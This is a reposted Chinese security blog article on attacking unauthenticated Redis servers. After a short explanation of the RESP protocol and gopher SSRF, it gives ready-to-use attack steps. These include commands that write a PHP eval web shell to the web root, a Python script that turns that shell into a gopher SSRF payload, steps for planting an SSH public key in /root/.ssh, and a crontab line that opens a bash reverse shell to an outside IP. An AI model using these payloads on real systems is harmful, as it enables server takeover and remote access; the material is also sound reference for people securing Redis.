redis的一些攻击方式
2022-12-1 00:0:32 Author: 橘猫学安全(查看原文) 阅读量:17 收藏

参考:

https://www.redteaming.top/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

Redis默认端口6379
如果存在未授权问题,那么任何人都可以往这台Redis服务器上传输命令

一般Redis攻击有
写shell(最常用),写密钥,写crontab反弹shell, info获得敏感信息,其中写密钥和写crontab不是那么的好用

在讲攻击之前,要讲一下RESP协议

RESP协议

Redis服务器与客户端通过RESP协议的通信。
resp协议从redis1.2引入。
这个协议把服务器与客户端之间的数据以一种序列化的形式处理并传输

在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$,发送给服务器的命令就是放在数组中的BulkStrings类型
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk StringsArray的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

同时每个类型字节后紧跟着该类型的长度,然后是CRLF,然后是该类型的值

说了这么多,肯定不会很懂,上图

即发送的时候,是用三个元素的数组(*3),第一个元素是三个长度的BulkString($3)其值为set,第二个元素是四个长度的BulkSting($4)其值为name,第三个元素是四个长度长的BulkString($4)其值为test,服务器返回SimpleString(+)OK,以下类推

gopher协议

是http协议出现常用的一个协议,SSRF的万金油。

格式:gopher://IP:port/_{TCP/IP数据流}

如何redis远程链接

CODE

redis-cli -h ip -p port
xxx.xxx.xxx.xxx:x>AUTH "password" (未授权就不需要输入密码)

攻击方法一:写shell

写shell的话,redis需执行的命令应该类似这样

CODE

如果你能直接redis -h ip -n 6379 未授权连接上redis服务器且权限够高,可以直接输入以下命令
flushall //清空数据库
set 1 '<?php eval($_GET["cmd"]);?>' //为键名为1的键赋值
config set dir /var/www/html
config set dbfilename shell.php //设置数据存储到磁盘时的文件路径
save //数据库全部保存至磁盘

攻击脚本如下(主要用于ssrf)

CODE

#python3
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),//这里的IFS替换不是很理解是啥意思..
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd)) //如果需要密码,就把密码输入命令加入到cmd第一位
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print(payload)

这样的话,我们就得到了payload,直接curl一下,就写入shell了

攻击方法二:info获取敏感信息

连上后 使用info命令

攻击方法三:写入ssh公钥

高版本不好用,因为高版本的redis权限是无法往/root目录写入的.
而这个方法则需要往/root/.ssh写入ssh公钥达到无密码ssh链接的目的

首先在攻击机上生成一对不需要密码的公钥私钥

然后依次输入

CODE

config set dir /root/.ssh
config set dirfilename authorized_keys
save

然后ssh免密登录 ssh -i id_rsa [email protected]

攻击方法四:利用cron计划任务反弹shell

仅在centos系统奏效,Ubuntu不行

  1. 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行

  2. 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同
Centos的定时任务文件在/var/spool/cron/
Ubuntu定时任务文件在/var/spool/cron/crontabs/
Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的

CODE

命令如下
set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

把上面那个脚本改改就能实现ssrf了

作者:ConsT27原文地址:http://const27.com/
如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell
「 超详细 | 分享 」手把手教你如何进行内网渗透
神兵利器 | siusiu-渗透工具管理套件
一款功能全面的XSS扫描器
实战 | 一次利用哥斯拉马绕过宝塔waf
BurpCrypto: 万能网站密码爆破测试工具
快速筛选真实IP并整理为C段 -- 棱眼
自动探测端口顺便爆破工具t14m4t
渗透工具|无状态子域名爆破工具(1秒扫160万个子域)
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247501147&idx=1&sn=b1aa34f4a2f9e259710dbaf2786a7f75&chksm=c04d4265f73acb730ba388ab156df120b25fb6bf4337f4fa20386d552affff893398c8727295#rd
如有侵权请联系:admin#unsafe.sh